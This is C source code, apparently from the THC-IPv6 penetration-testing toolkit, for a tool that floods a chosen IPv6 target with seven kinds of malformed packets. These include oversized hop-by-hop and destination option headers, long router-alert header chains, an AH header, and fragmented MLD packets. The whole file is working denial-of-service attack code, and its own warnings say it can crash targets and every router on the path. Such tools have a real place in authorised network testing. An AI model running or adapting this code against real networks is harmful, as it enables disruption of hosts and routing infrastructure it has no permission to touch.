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/*
* Tests various known IPv6 vulnerabilities against a target.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
#define MAX_TEST 7
int rawmode = 0;
void help(char *prg) {
printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s interface destination test-case-number\n\n", prg);
printf("Performs various denial of service attacks on a target\n");
printf(
"If a system is vulnerable, it can crash or be under heavy load, so be "
"careful!\n");
printf("The following test cases are currently implemented:\n");
printf(
" 1 : large hop-by-hop header with router-alert and filled with unknown "
"options\n");
printf(" 2 : large destination header filled with unknown options\n");
printf(" 3 : hop-by-hop header with router alert option plus 180 headers\n");
printf(
" 4 : hop-by-hop header with router alert option plus 178 headers + "
"ping\n");
printf(" 5 : AH header + ping\n");
printf(
" 6 : first fragments of a ping with a hop-by-hop header with router "
"alert\n");
printf(
" 7 : large hop-by-hop header filled with unknown options (no router "
"alert)\n");
// printf("Use -r to use raw mode.\n");
printf("\n");
exit(-1);
}
int main(int argc, char *argv[]) {
int test = 0, count = 1, tmplen;
unsigned char buf[65536], bla[1500], tests[256];
unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6,
*mal;
unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
thc_ipv6_hdr * hdr;
int i, j, k, srcmtu, fragsize;
unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
char * interface, *randptr = NULL;
thc_ipv6_hdr *ipv6;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
interface = argv[1];
if ((dst6 = thc_resolve6(argv[2])) == NULL) {
fprintf(stderr, "Error: invalid target: %s\n", argv[2]);
exit(-1);
}
// route6 = thc_resolve6("2a01::");
memcpy(ldst6, dst6, 16);
memset(ldst6 + 2, 0, 6);
ldst6[0] = 0xfe;
ldst6[1] = 0x80;
mcast6 = thc_resolve6("ff02::1");
if (argc >= 4) test = atoi(argv[3]);
memset(null_buffer, 0, sizeof(null_buffer));
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
fprintf(stderr, "Error: invalid interface: %s\n", interface);
exit(-1);
}
srcmac = thc_get_own_mac(interface);
if (rawmode == 0) {
if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
} else
dstmac = null_buffer;
if ((srcmtu = thc_get_mtu(interface)) <= 0) {
fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
exit(-1);
}
fragsize = ((srcmtu - 62) / 8) * 8;
setvbuf(stdout, NULL, _IONBF, 0);
memset(buf, 0, sizeof(buf));
memset(tests, 0, sizeof(tests));
memset(bla, 0, sizeof(bla));
if (test < 1 || test > MAX_TEST) {
printf("%s %s (c) 2020 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s interface destination test-case-number\n\n", argv[0]);
printf("The following test cases are currently implemented:\n");
printf(
" 1 : large hop-by-hop header with router-alert and filled with "
"unknown options\n");
printf(" 2 : large destination header filled with unknown options\n");
printf(
" 3 : hop-by-hop header with router alert option plus 180 headers\n");
printf(
" 4 : hop-by-hop header with router alert option plus 178 headers + "
"ping\n");
printf(" 5 : AH header + ping\n");
printf(
" 6 : first fragments of a ping with a hop-by-hop header with router "
"alert\n");
printf(
" 7 : large hop-by-hop header filled with unknown options (no router "
"alert)\n");
exit(0);
}
printf("Performing denial of service test case no. %d attack on %s via %s:\n",
test, argv[2], argv[1]);
printf(
"A \".\" is shown for every 1000 packets sent, press Control-C to "
"end...\n");
/********************** TEST CASE PREPARATION *************************/
if (test == count) { // 1432
printf(
"Test %d: large hop-by-hop header with router-alert and filled with "
"unknown options.\n",
count);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 5;
buf[1] = 2;
j = 4;
i = 1;
while (i <= 67) {
k = (i % 63) + 1;
buf[j] = k;
switch (k) {
case 38: // quickstart
buf[j + 1] = 7; // length
buf[j + 2] = 1; // request type + rate
buf[j + 3] = 60; // qs-ttl
buf[j + 4] = 8; // nonce
j += 9;
break;
case 4:
buf[j + 1] = 1;
j += 3;
break;
case 0:
case 5:
buf[j] = 1;
// fall through
default:
buf[j + 1] = 4;
j += 6;
}
// j += buf[j + 1] + 2;
i++;
}
// for (i = 1; i < 236; i++) {
// buf[i * 6 - 2] = (i % 63) + 1;
// buf[i * 6 - 1] = 4;
// }
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
}
count++;
if (test == count) { // 1432
printf("Test %d: large destination header filled with unknown options.\n",
count);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
for (i = 1; i < 237; i++) {
buf[6 + i * 6] = (i % 63) + 1;
buf[5 + i * 6] = 4;
}
if (thc_add_hdr_dst(pkt, &pkt_len, buf, 1416) < 0) return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
}
count++;
if (test == count) {
j = (thc_get_mtu(interface) - 48) / 8;
if (j < 150 || j > 8000) {
fprintf(stderr, "Error: invalid MTU on interface\n");
exit(-1);
}
printf(
"Test %d: hop-by-hop header with router alert option plus %d "
"headers.\n",
count, j);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 5;
buf[1] = 2;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1;
memset(buf, 0, 2);
for (i = 0; i < j; i++)
if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1;
// thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8,
// 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
}
count++;
if (test == count) {
j = (thc_get_mtu(interface) - 64) / 8;
if (j < 150 || j > 8000) {
fprintf(stderr, "Error: invalid MTU on interface\n");
exit(-1);
}
printf(
"Test %d: hop-by-hop header with router alert option plus %d headers "
"plus ping.\n",
count, j);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 5;
buf[1] = 2;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1;
memset(buf, 0, 2);
for (i = 0; i < j; i++)
if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
}
count++;
if (test == count) {
printf("Test %d: AH header plus ping.\n", count);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *)&buf,
6 + 8) < 0)
return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *)pkt;
if (do_hdr_size != 0)
ipv6->pkt[do_hdr_size + 40 + 1] = 2;
else
ipv6->pkt[14 + 40 + 1] = 2;
}
count++;
if (test == count) {
printf("Test %d: first ping fragment with hop-by-hop and router alert.\n",
count);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
buf[0] = 5;
buf[1] = 2;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0)
return -1;
if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1,
0xfacebabe + getpid() + count))
return -1;
buf[0] = ICMP6_MLD_REPORT;
buf[1] = 0;
buf[2] = 0xb0;
buf[3] = 0x0b;
if (thc_add_data6(pkt, &pkt_len, NXT_ICMP6, buf, 14)) return -1;
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *)pkt;
if (do_hdr_size != 0)
randptr = ipv6->pkt + do_hdr_size + 40 + 8 + 4;
else
randptr = ipv6->pkt + 14 + 40 + 8 + 4;
}
count++;
if (test == count) { // 1432
printf(
"Test %d: large hop-by-hop header with filled with unknown options (no "
"router alert).\n",
count);
printf(
"WARNING: this attack affects all routers on the network path to the "
"target!!\n");
sleep(3);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
j = 0;
i = 1;
while (i <= 67) {
k = (i % 63) + 1;
buf[j] = k;
switch (k) {
case 38: // quickstart
buf[j + 1] = 7; // length
buf[j + 2] = 1; // request type + rate
buf[j + 3] = 60; // qs-ttl
buf[j + 4] = 8; // nonce
j += 9;
break;
case 4:
buf[j + 1] = 1;
j += 3;
break;
case 0:
case 5:
buf[j] = 1;
// fall through
default:
buf[j + 1] = 4;
j += 6;
}
// j += buf[j + 1] + 2;
i++;
}
// for (i = 1; i < 236; i++) {
// buf[i * 6 - 2] = (i % 63) + 1;
// buf[i * 6 - 1] = 4;
// }
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
}
count++;
if (test == count) { // dummy entry
// code
fprintf(stderr, "to implement\n");
exit(-1);
}
count++;
/******************* END OF TESTCASE PREPARATION **************************/
count = 0;
while (1) {
thc_send_pkt(interface, pkt, &pkt_len);
usleep(1);
count++;
if (randptr != NULL) memcpy(randptr, (char *)&count + _TAKE4, 4);
if (count % 1000 == 0) printf(".");
}
return 0;
}
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